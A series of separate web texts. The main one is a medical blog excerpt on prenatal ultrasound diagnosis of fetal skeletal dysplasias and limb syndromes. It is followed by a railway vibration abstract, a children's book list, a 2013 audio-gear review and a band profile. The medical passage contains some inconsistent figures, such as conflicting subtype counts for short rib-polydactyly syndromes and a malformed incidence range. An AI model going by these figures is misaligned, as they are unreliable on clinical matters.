COL1A1 and COL1A2 encode for type I collagen (found in skin, ligaments, tendons, demineralized bone, and dentine). Defective production of type I collagen leads to decreased bone mineralization and bone fragility.
OI is due to mutations in COL1A1 or COL1A2 . Inheritance is autosomal dominant. Approximately 60% of cases of type I and IV OI are caused by de novo mutations, whereas almost 100% of cases of type II and III OI are caused by de novo mutations. Penetrance is complete, but expression can vary significantly.
Recurrence risk depends on whether the mutation was inherited or de novo. Gonadal mosaicism may be present in 3% to 5% of cases with apparent de novo mutations. Less commonly, OI can also be autosomal recessive.
Type II is the most severe form and affected individuals usually die in utero or shortly after birth from severe fractures and pulmonary hypoplasia. Key prenatal findings include severe micromelia (femur length more than 3 standard deviations [SD] below the mean), small thorax, normal head circumference, short trunk, decreased bone mineralization (including decreased ossification of the skull), and multiple bone fractures. Multiple fractures may lead the long bones to appear angulated. Both cortices of a bone are often seen. Some findings can be seen as early as 13 to 15 weeks’ gestation.
The other types of OI may not be detected prenatally. Type I is characterized by blue sclerae and normal stature. The first fractures generally occur in infancy. Progressive hearing loss is present in 50% of adults. Type III is apparent at birth; fractures may be caused just by handling the infant. Rib fractures can lead to pulmonary failure in the first few weeks or months of life. Those who survive generally need assistance for mobility and are extremely short. Hearing loss often begins in the teenage years. Type IV is characterized by mildly short stature, adult-onset hearing loss, and normal-to-gray sclerae; phenotype is the most variable. Dentinogenesis imperfecta is common.
The differential diagnosis includes hypophosphatasia (infantile form), achondrogenesis, and other short-limbed dwarfisms.
Type II OI is uniformly lethal. The other forms develop after birth and are characterized by progressive deformities of the long bones and short stature.
Owing to the uniformly fatal outcome, termination of pregnancy should be offered when type II is diagnosed early in pregnancy and palliative care provided if delivery is undertaken. If continuation of the pregnancy is chosen, cesarean delivery is often recommended for nonlethal OI for prevention of fetal and maternal trauma.
A, B, and C, Osteogenesis imperfecta type II. Markedly short bilateral extremities with fracture deformities of the femurs. LT, left; RT, right.
The skull demonstrates markedly decreased echogenicity and is readily compressible even with moderate transducer pressure ( left ).
Frontal x-ray scans of the fetus. Note the poor mineralization and the numerous fractures.
Achondrogenesis is a heterogeneous group of lethal skeletal dysplasias characterized by severe micromelia, small thorax, short trunk, decreased bone mineralization (particularly of the vertebrae, sacrum, and pubic bones), and occasional fractures. The most common types are described here:
Type 1: includes type 1A and type 1B. Deficient bone mineralization also affects the calvarium.
Type 2: similar to type 1, with less severe mineralization deficits.
Synonyms include type 1A, Houston-Harris type; type 1B, Fraccaro type; type 2, Langer-Saldino type.
Incidence is 0.9 to 0.23 per 10,000 births. Type 1 represents 20% of cases; type 2 represents 80% of cases.
In type 1A, TRIP11 mutations lead to defects in Golgi-mediated glycosylation and altered transport of multiple cellular proteins. In type 1B, mutations in SLC26A2 impair activity of the sulfate transporter in chondrocytes and fibroblasts leading to defective cartilage matrix assembly. In type 2, COL2A1 mutations lead to structural abnormalities in type 2 collagen.
Type 1 is inherited in autosomal recessive fashion; type 1A is caused by mutations in TRIP11 , and type 1B is caused by mutations in SLC26A2 ( DTDST ). Type 2 is an autosomal dominant condition caused by de novo mutations in COL2A1 .
Recurrence risk depends on the mode of inheritance. Type 1 has a 25% recurrence risk. The recurrence risk for type 2 is low.
Type 1 is characterized by severe micromelia, facial dysmorphism (flat face), decreased skull, vertebral, and pelvic bone ossification, short thin ribs, and short long bones with deformity. Other features include short fingers and toes (seen more in type 1B), protuberant abdomen, abundant soft tissue (which can lead the fetus to appear hydropic), and short neck with thickened tissue. Skull is normally sized. Polyhydramnios is present in 25% of affected fetuses. Breech presentation is common.
Type 2 presents with similar findings but the mineralization deficit is less severe and the long bones less short. Fingers and toes may appear normal.
The differential diagnosis includes other lethal chondrodysplasias. Cartilage histologic examination can assist in distinguishing between the subtypes of achondrogenesis. OI (specifically types II and III) and hypophosphatasia also present with bone demineralization, but the limb shortening is not usually as severe. Abnormal mineralization and shortened trunk length distinguish it from TD in which these are normal.
The disorder is perinatally lethal with death occurring prenatally or shortly after birth.
Achondrogenesis. A, Coronal image of the fetus with a markedly small thorax; B, diffuse lack of bony mineralizaton, with particular involvement of the spinal vertebrae.
The appearance of transparent bones in which both cortices can be seen.
Micromelia with the arms failing to join in front of the chest.
Achondrogenesis. The appearance of the fetus at 19 weeks.
Campomelic dysplasia (derived from the Greek word for “bent limb”) is a skeletal dysplasia characterized by bowing and shortening of the long bones, club feet, and distinctive facial features including Pierre Robin sequence with cleft palate.
Campomelic dysplasia is also known as campomelic syndrome and campomelic dwarfism.
Incidence is 1 in 40,000 to 1 in 80,000 births.
SOX9 regulates chondrocyte differentiation by regulating the expression of several genes, including the collagen genes COL2A1 and COL11A2 . It also functions as a testes-determining gene downstream of SRY .
Campomelic dysplasia is due to mutations in SOX9 . Inheritance is autosomal dominant; most individuals have de novo mutations, although cases of parental diagnosis following identification of an affected child have been reported.
Recurrence risk is low if the parents are unaffected, although germline mosaicism has been reported.
The most striking feature is anterior bowing of the long bones, particularly the femur and tibia. Other features seen on ultrasound imaging include 11 pairs of ribs, a bell-shaped narrow chest, relatively large head, Pierre Robin sequence with cleft palate, flat face with high forehead, laryngotracheomalacia, cervical spine anomalies, scoliosis, scapular hypoplasia, ambiguous genitalia (or normal female genitalia in a 46,XY individual), dislocated hips, clubfeet, and hydrocephalus. Cardiac and renal anomalies have also been reported. Polyhydramnios may be present.
The differential diagnosis includes OI types II and III, hypophosphatasia, other disorders leading to congenital bowing of the long bones, TD, and spondyloepiphyseal dysplasia.
Most cases (>75%) are lethal owing to respiratory insufficiency caused by airway instability or cervical spine instability. Survivors may have respiratory issues, hearing loss, and progressive scoliosis. Intellectual abilities are generally normal.
Campomelic dysplasia. Bowing of the femur ( arrows ). Note the gentle curve that differentiates this entity from the more acute angles seen in fetuses with osteogenesis imperfecta.
Hypophosphatasia Congenita
Hypophosphatasia congenita is characterized by severe micromelia, small thorax, normal head circumference, normal trunk length, decreased bone mineralization, and occasional fractures. The cranium is compressible from deficient mineralization.
Hypophosphatasia congenita is also called perinatal lethal hypophosphatasia.
Prevalence.
Hypophosphatasia congenita is seen in 1 in 100,000.
Hypophosphatasia congenita is associated with reduced activity of serum alkaline phosphatase.
Hypophosphatasia congenita is due to mutations in ALPL , the gene encoding alkaline phosphatase, tissue-nonspecific isozyme (TNSALP). Inheritance is autosomal recessive. Significant phenotypic variability can occur.
Recurrence risk is 25% if both parents are found to be mutation carriers. Carriers can be asymptomatic (with only biochemical abnormalities) or may have mild clinical features.
The perinatal lethal form of hypophosphatasia is generally diagnosed on prenatal ultrasound imaging. Features include a small thorax, short bowed limbs, flail chest, and poorly mineralized skull. Fetal radiographs demonstrate a generalized deficiency in ossification, with tubular bones that appear short, thin, and bowed.
In the prenatal period, the differential includes OI type II, campomelic dysplasia, and chondrodysplasias with defective bone mineralization.
Pregnancies may end in stillbirth. Liveborn infants most frequently die of pulmonary insufficiency. Hypercalcemia is common and can lead to apnea and seizures.
Short Rib–Polydactyly Syndromes
Short rib–polydactyly syndromes (SRPSs) are heterogeneous group of lethal skeletal dysplasias typically divided into four subgroups. General findings include severe micromelia, small thorax with short ribs, a trident aspect of the acetabular roof, normal head circumference, normal bone mineralization, and polydactyly. Cardiac and genitourinary abnormalities may be seen. The SRPSs are divided into five subtypes, types I through V. Two related syndromes with a milder phenotype include Ellis–van Creveld syndrome (EVC) and Jeune syndrome. Features of the subtypes can overlap, making diagnosis challenging.
Synonyms include type I, Saldino-Noonan syndrome; type II, Majewski syndrome; type III, Verma-Naumoff syndrome; type IV, Beemer-Langer syndrome; and type V.
Prevalence is unknown; the syndrome is rare.
All SRPSs are classified as ciliopathies because of dysfunction of the primary cilium.
SRPSs are due to mutations in genes affecting primary cilium function, including mutations affecting the dynein motor ( DYNC2H1 ), intraflagellar transport complexes ( IFT80, IFT122, IFT43, WDR35, WDR19, TTC21B ), and basal body ( NEK1, EVC, EVC2 ). Other genes identified include WDR34 and WDR60 that also are important for primary cilium function. Inheritance is autosomal recessive.
The most striking ultrasound finding is a very narrow chest with short limbs. The limbs, however, are not as short as those of other lethal conditions such as TD, achondrogenesis, and OI type II.
The differential diagnosis should include the range of SRPSs.
There is a phenotypic spectrum, and although many affected infants die, some do survive.
Other Lethal Skeletal Dysplasias
Atelosteogenesis, Type 2
Atelosteogenesis, type 2 is a rare lethal skeletal dysplasia characterized by rhizomelia, normal head circumference, hitchhiker thumbs, ulnar deviation of fingers, small thorax, protuberant abdomen, facial dysmorphism (flat midface, micrognathia), cleft palate, clubfeet, and a gap between the first and second toes. Death occurs from pulmonary hypoplasia and tracheobronchomalacia. It is due to mutations in SLC26A2 ( DTDST ). Inheritance is autosomal recessive.
Fibrochondrogenesis
Fibrochondrogenesis is a rare lethal skeletal dysplasia characterized by short long bones with irregular metaphyses that appear stippled from peripheral spurs and extra-articular calcifications (dumbbell-shaped long bones). Other features include small thorax, normal head circumference, normal hands and feet, flat facies, decreased skull mineralization, and vertebrae with platyspondyly and midline clefts. It is due to mutations in COL11A1 . Inheritance is autosomal recessive. Carriers of causative mutations can have myopia and early-onset hearing loss.
Rhizomelic Chondrodysplasia Punctata, Type I
Rhizomelic chondrodysplasia punctata, type I is a rare skeletal dysplasia with prevalence less than 100,000 births; the classic type is a peroxisome biogenesis disorder characterized by rhizomelia (humerus shorter than femur), epiphyseal and metaphyseal abnormalities (punctate calcifications), vertebral clefting, and congenital cataracts. Other common features include severe postnatal growth deficiency, seizures, and severe intellectual disability. Some children die in the neonatal period; lifespan is generally less than 10 years. It is due to mutations in PEX7 , a gene that encodes the receptor for some peroxisomal matrix enxymes. Inheritance is autosomal recessive.
Achondroplasia is a relatively common nonlethal skeletal dysplasia characterized by rhizomelia, macrocephaly, and characteristic facial features (frontal bossing and flat midface). Other features include redundant skinfolds on limbs, short fingers, bowed legs, and exaggerated lumbar lordosis.
Incidence is 1 in 26,000 to 28,000 live births.
The FGFR3 mutation, p.Gly380Arg, seen in achondroplasia leads to constitutive activation of FGFR3 . This results in inhibition of chondrocyte proliferation and differentiation and negatively regulates bone growth.
Achondroplasia is due to a mutation in FGFR3 , specifically p.Gly380Arg. Inheritance is autosomal dominant; 80% of mutations are de novo and are exclusively inherited from the father. Advanced paternal age increases the risk of de novo mutations.
Recurrence risk is low if both parents have average stature. If one parent is affected, recurrence risk is 50%. If both parents are affected, the risk to offspring is as follows: 25% will have average stature, 50% will have achondroplasia, and 25% will have homozygous achondroplasia (which is lethal).
Prenatally, a shortened femur in comparison to the head circumference can been seen in the second trimester; femur length is often at the 3rd percentile or less by 25 weeks’ gestation (see Fig. 16-46 ). Fetuses with normal interval growth in femoral length during the second trimester are expected to be unaffected. The craniofacial features, including macrocephaly, frontal bossing, and flat midface, can also be seen. Occasionally more subtle anomalies, such as the trident hand (an increased space between the third and fourth digit) or the lack of widening of the lumbar canal, can also be identified.
The differential diagnosis includes TD, hypochondroplasia, achondrogenesis, OI type II, and diastrophic dysplasia.
Developmental milestones are often delayed, but intelligence is normal. Craniocervical junction compression increases the risk of death in infancy as a result of central apnea (risk ~ 7.5%). Obesity is a common problem that often begins in childhood. Spinal stenosis at L1-L4 is the most common medical complaint in adulthood.
Medical issues require ongoing surveillance, and guidelines have been established (see ). Strong support groups exist, including the Little People of America, Inc.
Achondroplasia. Frontal bossing.
Achondroplasia. Lack of widening of the spinal canal.
Fetal size charts for femur length ( A ), head circumference ( B ), and abdominal circumference ( C ) against gestational age in fetuses with achondroplasia. Note the curvature in the femur length chart as growth declines in the third trimester. Comparison with normal fetuses is demonstrated by overlaying measurements from affected fetuses on charts of fetuses of normal size ( D – F , respectively) and by plots of Z-scores showing the deviation from the normal range ( G – I , respectively).
(From Chitty LS, Griffin DR, Meaney C, et al: New aids for the non-invasive prenatal diagnosis of achondroplasia: dysmorphic features, charts of fetal size and molecular confirmation using cell-free fetal DNA in maternal plasma. Ultrasound Obstet Gynecol 37(3):283-289, 2011, Fig. 1.)
Vertebral Anomalies
Klippel-Feil Syndrome
Klippel-Feil syndrome (KFS) is characterized by a classic triad of short neck, low posterior hairline, and fusion of cervical vertebrae. Different classification schemes for subtypes have been proposed. KFS1 and KFS3 are autosomal dominant disorders, whereas KFS2 is autosomal recessive.
Incidence is 1 in 40,000 to 42,000 live births. A slight female predominance has been reported.
The implicated genes encode for proteins in the bone morphogenetic protein family, which is involved in regulating the differentiation of bone and cartilage.
KFS1 is due to mutations in the GDF6 gene, and KFS3 is due to mutations in the GDF3 gene; both have autosomal dominant inheritance. KFS2 is due to mutations in MEOX1 and has autosomal recessive inheritance.
Recurrence risk depends on the mode of inheritance and presence of parental mutations.
The short neck may be associated with opisthotonos (retroflexion of the head), and disorganization of the cervical vertebrae is potentially recognizable. Other associated anomalies include ocular malformations, cleft lip and palate, oligodontia, craniofacial asymmetry, maxillary constriction and velopharyngeal insufficiency, persistent trigeminal artery, congenital heart defects, and urogenital anomalies. Some cases occurring with situs inversus totalis have been reported.
The differential diagnosis includes other disorders with vertebral anomalies.
Complications result from vertebral fusion and include cord compression syndrome, cervical instability, and motility impairment.
VACTERL Association
See separate entry at the end of this chapter.
Second trimester sonogram of a fetus with Klippel-Feil syndrome. Persistent retroflexion of the head on the neck should raise suspicion for this diagnosis.
Reformatted computer tomographic scan of a 2-year-old child with Klippel-Feil syndrome. Note the fused ribs.
(Courtesy of Ian Suchet, 2002. Available at thefetus.net .)
A child with Klippel-Feil syndrome. Note the opisthotonotic position, low-set ears, and micrognathia.
Spondylocostal Dysostosis
Spondylocostal dysostosis (SCDO) is characterized by multiple segmentation defects of the vertebrae and rib abnormalities, leading to a short trunk, short neck, and scoliosis.
SCDO is rare; SCDO associated with DLL3 mutations is the most common.
The causative genes identified to date all encode key proteins in the Notch-signaling pathway, which is essential for vertebral development.
SCDO is due to mutations in one of four genes: DLL3, MESP2, LFNG, HES7 . Inheritance is autosomal recessive.
Recurrence risk is 25% if both parents are mutation carriers.
Diagnosis is based on radiologic features including vertebral segmentation defects and rib abnormalities. These features can be seen prenatally as early as the late first trimester.
The differential diagnosis includes other rarer conditions with similar vertebral anomalies as well as syndromes associated with multiple vertebral segmentation defects ( Table 16-4 ).
Some Syndromes That Include Multiple Segmentation Defects of the Vertebrae (Spondylocostal Dysostosis and Spondylothoracic Dysostosis Excluded)
From Turnpenny PD, Young E; ICVS (International Consortium for Vertebral Anomalies and Scoliosis): Spondylocostal Dysostosis, Autosomal Recessive. 2009 Aug 25 (Updated 2013 Jan 17). In Pagon RA, Adam MP, Ardinger HH, et al (eds): GeneReviews.® Seattle, University of Washington, 1993-2016, Table 2.
Syndromes/Disorders
Acrofacial dysostosis *
Alagille syndrome
JAG1, NOTCH2
Anhalt *
Atelosteogenesis III
FLNB
Casamassima-Morton-Nance *
Caudal regression *
Cerebro-facio-thoracic dysplasia *
CHARGE syndrome
Currarino
HLXB9
Atelosteogenesis, type II (de la Chapelle syndrome)
DiGeorge/deletion 22q11.2/velocardiofacial syndrome
Dysspondylochondromatosis *
Femoral hypoplasia-unusual facies *
Fibrodysplasia ossificans progressiva
ACVR1
Fryns-Moerman *
Goldenhar/oculo-auriculo-vertebral spectrum *
Holmes-Schimke *
IKBKG
Kabuki syndrome *
MLL2
McKusick-Kaufman syndrome
KBG syndrome *
ANKRD11
Klippel-Feil *
GDF6, PAX1 †
Larsen syndrome
Lower mesodermal agenesis *
Maternal diabetes mellitus *
MURCS association *
Multiple pterygium syndrome
CHRNG
OEIS syndrome *
Phaver *
RAPADILINO syndrome ( RECQL4 -related disorders)
RECQL4
Robinow ( ROR2 -related disorders)
ROR2
Rolland-Desbuquois *
Rokitansky sequence *
WNT4 †
Silverman-Handmaker type of dyssegmental dysplasia (DDSH)
HSPG2
Simpson-Golabi-Behmel syndrome
GPC3
Sirenomelia *
Spondylocarpotarsal synostosis
Thakker-Donnai *
Toriello *
Urioste *
VATER/VACTERL *
Verloove-Vanhorick *
Wildervanck *
CHARGE, coloboma of the eye, heart defects, atresia of the choanae, retarded mental and growth development, genital anomalies, and ear anomalies; OEIS, omphalocele, bladder exstrophy, imperforate anus, and spinal defects; MURCS, müllerian duct aplasia, congenital renal dysplasia, and cervical somite anomalies; RAPADILINO, radial ray defect, patellae hypoplasia or aplasia and cleft or highly arched palate, diarrhea and dislocated joints, little size and limb malformations, and long, slender nose and normal intelligence; VATER/VACTERL, vertebral anomalies, anal atresia, cardiac anomalies, tracheoesophageal fistula or esophageal atresia, renal/urinary anomalies, and limb defects.
* Underlying cause not known.
† Possible associations reported: PAX1 (McGaughran JM, Oates A, Donnai D, et al: Mutations in PAX1 may be associated with Klippel-Feil syndrome. Eur J Hum Genet 11:468-474, 2003.) and WNT4 (Philibert P, Biason-Lauber A, Rouzier R, et al: Identification and functional analysis of a new WNT4 gene mutation among 28 adolescent girls with primary amenorrhea and müllerian duct abnormalities: a French collaborative study. J Clin Endocrinol Metab 93:895-900, 2008.).
The size of the thorax can compromise respiratory function in neonates and can lead to pulmonary hypertension. Males have increased risk for inguinal hernia. Neurologic complications are rare.
Upper Extremity Anomalies
If an upper limb anomaly is noted, particular attention should be given to evaluating for spine, renal, and cardiac anomalies. If the defect is in an isolated forearm, it is rare for further problems to be found. If bilateral upper limb anomalies are noted and the karyotype is normal, there is a high incidence of genetic syndromes, several of which are reviewed later.
Adams-Oliver Syndrome
Adams-Oliver syndrome (AOS) is characterized by aplasia cutis congenital of the scalp vertex and terminal transverse limb defects (amputations, syndactyly, brachydactyly, oligodactyly).
Incidence is estimated at 1 in 225,000.
The implicated genes encode for proteins implicated in embryonic development. Some are thought to affect pericyte function leading to the observed anomalies.
The genetic cause is heterogeneous, and includes heterozygous mutations in ARHGAP31 and RBPJ (autosomal dominant inheritance) as well as biallelic mutations in DOCK6 and EOGT (autosomal recessive inheritance). Recently, heterozygous mutations in NOTCH1 were also implicated in AOS.
Recurrence risk depends on mode of inheritance and presence of parental mutations.
Prenatally, transverse limb defects may be detected sonographically. Other commonly observed features in affected individuals include vascular anomalies (pulmonary hypertension, portal hypertension, cutis marmorata, venous ectasia, thrombophilia) and congenital heart defects (both right- and left-sided).
The differential diagnosis includes other causes of transverse limb defects.
Prognosis depends on the associated anomalies, which can range from mild to severe. Pulmonary hypertension can be life threatening.
Cornelia de Lange Syndrome
Cornelia de Lange syndrome (CdLS) is characterized by facial dysmorphism (synophrys, arched eyebrows, long eyelashes, small upturned nose, small widely spaced teeth, micrognathia), growth restriction and microcephaly (prenatal onset), hirsutisum, and upper limb reduction defects (phalangeal abnormalities, oligodactyly).
It is also known as Brachmann-de Lange syndrome.
Estimates range from 1 in 10,000 to 1 in 100,000. The milder form is likely underdiagnosed.
Diagnosis is based on clinical findings. Other features may include cardiac septal defects, cleft palate, GI dysfunction, hearing loss, myopia, and cryptorchidism. Congenital diaphragmatic hernia (CDH) can occur (1%).
Implicated genes include NIPBL (60% of cases) as well as SMC1A and SMC3 (5% and <1% of cases, respectively). Inheritance of NIPBL – and SMC3 -related CdLS is autosomal dominant; SMC1A -related CdLS is X-linked. Most NIPBL mutations are de novo. In general, the phenotype associated with mutations in SMC1A and SMC3 is milder. Phenotypic expression in families is relatively consistent. Penetrance is complete.
Recurrence risk depends on the implicated gene. Germline mosaicism is increased with NIPBL -related CdLS and recurrence is estimated to be 1.5%.
Other disorders to consider include partial duplication of 3q, deletions of 2q31, Fryns syndrome, and FAS.
Intellectual disability is generally present. Autistic and self-destructive tendencies are common. Life expectancy is generally normal, although an increased mortality rate has been reported related to aspiration, apnea, congenital heart disease, volvulus, and postsurgical complications.
Management guidelines have been published and involve multidisciplinary care for both medical and developmental issues.
Ectrodactyly-Ectodermal Dysplasia-Clefting Syndrome
Ectrodactyly-ectodermal dysplasia-clefting (EEC) syndrome is characterized by abnormalities in ectodermal structures (skin, hair, teeth, nails, sweat glands) as well as cleft lip ± palate and limb defects (ectrodactyly and syndactyly of the hands and feet).
Incidence is unknown; the disorder is rare.
The TP63 gene encodes for a transcription factor crucial in the development of limbs and ectodermal-derived tissues.
EEC syndrome is due to mutations in TP63 . Inheritance is autosomal dominant. Significant intra- and interfamilial phenotypic variability exists.
Recurrence risk is 50% if a parental mutation is identified.
Prenatally, ectodactyly and syndactyly of the hands and feet, as well as cleft lip/palate may be detected. The hands may have a “lobster claw” appearance. Renal anomalies may also be present.
The differential includes other syndromes caused by TP63 mutations, in particular ankyloblepharon-ectodermal defects-cleft lip/palate syndrome.
Correction of orofacial clefting and hand and foot anomalies may be complicated by the presence of ectodermal dysplasia. Corrective surgery should be performed in centers that perform a greater number of complex repairs.
Ectrodactyly-ectodermal dysplasia-clefting (EEC) syndrome. Ectrodactyly of the lower ( A ) and upper ( B ) extremities. Sonographic findings of ectrodactyly, especially in association with cleft lip ± palate, should prompt evaluation for EEC syndrome.
Nov 8, 2019 | Posted by drzezo in GYNECOLOGY | Comments Off on Ultrasound Features of Fetal Syndromes
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Beitrag zu einem Tagungsband (1) (entfernen)
mitigation (1) (entfernen)
Vehicle-track-soil interaction for track damage, ground vibration and mitigation (2016)
A combined finite element boundary element method has been developed to calculate the dynamic interaction of the railway track and the underlying soil. The track-soil results are coupled with a simple vehicle model to establish the force transfer function of the vehicle-track-soil system. Mitigation measures at the track, namely three different tracks with under-sleeper pads, are analysed. The un-sprung vehicle and heavy track masses on soft track elements yield a lower vehicle-tracksoil resonant frequency and a better reduction of the excitation forces at higher frequencies. If the effectiveness of the mitigation is measured as a vibration ratio between the isolated and an un-isolated reference track, the vehicle-track-soil resonance of the reference track has an important influence on the mitigation effectiveness. Therefore, different un-isolated reference tracks are analysed. It is shown how the frequency and amplitude of the vehicle-track resonance are influenced by the stiffness of the rail pads (strongest), the ballast (medium) and the soil (weakest). The reference track models have been compared with shaker tests on two railway tracks with strong resonances. The damage detection and repair control have become important tasks for ballast and slab tracks. Measurements which compare the damaged and the repaired status of the same track section at different times, or which compare a damaged and an intact track section at the same time, have been successfully performed at some sites in Germany and compared with the theoretical behaviour of intact and damaged tracks.
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Click the title to find my review.
Oh, some of these older books have rather frumpy covers, don’t they? But they’re all wonderful stories 🙂
Especially for 7 and Under:
Anne Arrives(1908)
Anne’s Kindred Spirits(1908)
The Best Loved Doll (1962)
Busybody Nora (1976)
Candle Tales (1964)
A Certain Small Shepherd (1965)
Clancy’s Cabin (1975)
Did You Carry the Flag Today Charley? (1966)
Emmet Otter’s Jug-Band Christmas (1971)
Jenny and the Cat Club (1944)
Little Pear (1931)
The Little Riders (1963)
The Littles (1967)
Lotta on Troublemaker Street (1961)
McBroom’s Wonderful One-Acre Farm (1967)
The Moomins and the Great Flood (1945)
Mouse House (1952)
The Mousewife (1951)
Mud Pies and Other Recipes (1961)
I love this older cover image with the Edward Ardizzone illustration, even though they’ve misspelled his name on it! Rest assured that Ardizzone’s interior illustrations are still in editions with newer cover art.
My Father’s Dragon (1948)
My Naughty Little Sister (1959)
Old Mother West Wind (1910)
Open the Door and See All the People (1965) (same as The Toy House Dolls)
The Pai-pai Pig (1967)
Phoebe the Spy (1977)
Pleasant Fieldmouse (1964)
Stig of the Dump (1963)
The Teddy Robinson Storybook (1970s)
A Toad for Tuesday (1974)
Tow-Truck Pluck (1971)
Warton and Morton (1976)
Warton’s Christmas Eve Adventure (1977)
Ages 7 and up:
Adam of the Road (1942)
All-of-a-Kind Family (1951)
The Alligator Case (1965)
The Avion My Uncle Flew (1946)
Basil of Baker Street (1958)
A Bear Called Paddington (1958)
Belling the Tiger (1961)
The Big Six (1940)
Blue Willow (1940)
The Borrowers (1952)
By the Great Horn Spoon (1963)
Charlotte’s Web (1952)
Chike and the River (1966)
The Children of Noisy Village (1947)
Chitty Chitty Bang Bang (1964)
Clementine Loves Red (1970)
The Coat Hanger Christmas Tree (1973)
The Complete Polly and the Wolf (1955)
Coot Club (1934)
The Curious Lobster (1935)
Detective Nosegoode and the Music Box Mystery (1968)
Elsie Piddock Skips in Her Sleep (1937)
The Fairy Caravan (1929)
The Family Under the Bridge (1958)
A Few Fair Days (1971)
Finn Family Moomintroll (1948)
Freddy the Detective (1932)
Ginger Pye (1951)
The Golden Basket (1936)
Gone-Away Lake (1957)
Great Northern? (1947)
The Great Rebellion (1963)
The Great Wheel (1957)
Hakon of Rogen’s Saga (1963)
The Happy Orpheline (1957)
Henry and Ribsy (1954)
Henry Huggins (1950)
Henry Reed’s Babysitting Service (1966)
The High World (1954)
Homer Price (1943)
The House of Sixty Fathers (1956)
The Hundred Dresses (1944)
Jim at the Corner (1934)
Jim Davis: A High Sea Adventure (1911)
Just So Stories (1902)
Kildee House (1949)
The Lion in the Box (1975)
The Lion, the Witch, and the Wardrobe (1950)
A Little Princess (1905)
The Magic Summer (1967)
Marzipan Day on Bridget Lane (1967)
The Midnight Fox (1968)
The Midshipman Quinn Collection (1956)
Minnow on the Say (1955)
Miracles on Maple Hill (1956)
Missee Lee (1941)
Misty of Chincoteague (1947)
Mr. Popper’s Penguins (1938)
Mrs. Piggle Wiggle (1947)
A Necklace of Raindrops (1968)
Owls in the Family (1961)
Ozma of Oz (1907)
Pancakes-Paris (1947)
Peter Duck (1932)
The Phantom Tollbooth (1961)
The Picts and the Martyrs (1943)
Pigeon Post (1936)
Pinky Pye (1951)
Pippi Longstocking (1945)
Puck of Pook’s Hill (1906)
The Racketty-Packetty House (1906)
Rasmus and the Vagabond (1956)
The Robber Hotzenplotz (1962)
The Search for Delicious (1969)
Secret Water (1939)
Sigurd and His Brave Companions (1940)
Siri the Conquistador (1963)
Skating Shoes (1951)
Snow Treasure (1942)
The Spettecake Holiday (1958)
The Story of Rolf and the Viking Bow (1904)
Strawberry Girl (1945)
Swallowdale (1931)
Swallows and Amazons (1930)
Terrible, Horrible Edie (1960)
The Thirteen Clocks (1950)
The Thirteen Days of Christmas (1972)
The Toothpaste Millionaire (1972)
The Trumpeter of Krakow (1928)
Twenty and Ten (1952)
The Twenty-One Balloons (1947)
Understood Betsy (1916)
We Didn’t Mean to Go to Sea (1937)
The Wheel on the School (1954)
The Winged Girl of Knossos (1933)
Winnie-the-Pooh (1926)
Winter Holiday (1933)
The Wonderful Farm (1951)
The Wonderful Wizard of Oz (1900)
The Bronze Bow (1961)
An Episode of Sparrows (1955)
The Gammage Cup (1959)
The Ides of April (1974)
Little Women (1868/9)
Smith (1932)
A Wrinkle in Time (1962)
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Home > Music 3.0 > Gear and Tech > The Five Best Audio Products of 2013
The Five Best Audio Products of 2013
By Larry Philpot on January 20, 2014
The 5 Best Audio Products of 2013
As we take a final look back at 2013, I thought I’d pick the 5 audio products that struck me as the most innovative from the last year. This was actually pretty difficult since there were so many great products, but at least to me, the following 5 stood out.
1. Triad Orbit Mic Stands: Mic stand technology has remained pretty stagnant for 50 years or so until the Triad Orbit articulating mic stands were introduced. What makes the Triad-Orbit stands different is that each leg of the base has four ratcheted positions that provide up to 65 degrees of pitch. The Orbital boom is built around a stainless steel ball swivel mechanism to deliver a very wide range of motion (360 x 220 degrees), and the Orbital 2 boom is also way different than anything you’ve seen since it’s basically 2 booms on one stand. Triad Orbit stands aren’t cheap at $179 for a standard stand, $139 for the standard arm boom and $259 for the dual boom, but they’re built like tanks and very well may last a lifetime.
2. SoundRadix SurferEQ: Here’s an idea that could totally change the way we think about equalization. The SoundRadix SurferEQ plugin is different from other equalizers in that it tracks the pitch of an instrument or vocal and changes the EQ on the fly, staying relevant to the music or program.
SurferEQ uses a real-time pitch detection engine that triggers a low pass, high pass, bell, shape or harmonic filter (that’s a new one) to make sure that the EQ is working at the right frequency during the song. It’s available for Mac or PC in RTAS, VST and AU, and retails for $199.
3. Apple Logic Pro X: The latest version of Logic may not overtake Pro Tools in the pro world, but there not much that can beat it when it comes to creating music. There’s a lot to like in this new version, including a new streamlined look, a new collection of virtual instruments (including the incredible virtual Drummer, with sounds from Bob Clearmountain), built-in pitch correction and remote control from an iPad. Best of all, Logic Pro X is only $199.
4. Sennheiser Laser Drum Mics: This isn’t actually a product yet, but just the idea of it gets points for innovation. Actually, the laser mic is a misnomer. It’s actually a laser mic clip for Sennheiser’s e904 and e604 clip-on mics that’s the innovative piece. By placing a laser and a sensor in the mic clip, the laser can then precisely measure when the drum head is struck and open up a noise gate, so what you’re actually hearing is a laser-controlled mic (we’ll get to those real “laser mics” someday soon, as this is the just a glimpse into the future).
The laser drum clips are still in the prototype stage, so there’s no pricing yet, but you can see and hear how well they work in this video.
5. UAD Ocean Way Studios Plugin: The Ocean Way Studios plugin takes room simulation to the next step by modeling the sound of two of the studio’s famous Bill Putnum-designed tracking rooms (Putnam was the original owner of both United Studios (now Ocean Way) and Universal Audio when it manufactured hardware starting back in the 1960s. Bill Putnam jr. runs Universal Audio today). You’re able to choose from a number of Ocean Way owner Allen Sides’ great vintage mic emulations and place them any distance in the room, as well as mix and EQ multiple combination of mics.
This could be a great addition to a home studio owner who only has a small room to record in, but wants it to realistically sound like a larger one – and with the Ocean Way sound to boot. The Universal Audio Ocean Way Studios plugin works on the UAD platform and can be purchased for $279.
Winter NAMM is coming up in less than a month, and I’ll probably have a new list afterward, but for now, this list above are the products that caught my attention in 2013.
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Print EPK
Return to Hogweed's profile
Hometown Trondheim, Norway
Band Members <br/><br/>EinarAarnes:Guitars,Bass,Mandolin,<br/>... » more
Upcoming Shows None
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Hogweed is a song writing trio located inn Trondheim Norway…
With influences ranging from Fairport Convention and C,S,N&Y to Lucinda Williams, Emmylou Harris and Drive-By Truckers. The music from this outfit are an eclectic mix of both urban and...
With influences ranging from Fairport Convention and C,S,N&Y to Lucinda Williams, Emmylou Harris and Drive-By Truckers. The music from this outfit are an eclectic mix of both urban and country….... It’s almost like you can smell the concrete and the country side all at once.
Bewildered
Sandy shore/Small cafe'
Sandy Shore/ Small Cafe'
Mind, Body And Soul
Second Chance (Demo)
Whisper To a Roar (Demo)
River Woman
Fall Right Into Me
February 2009 Cover Bands
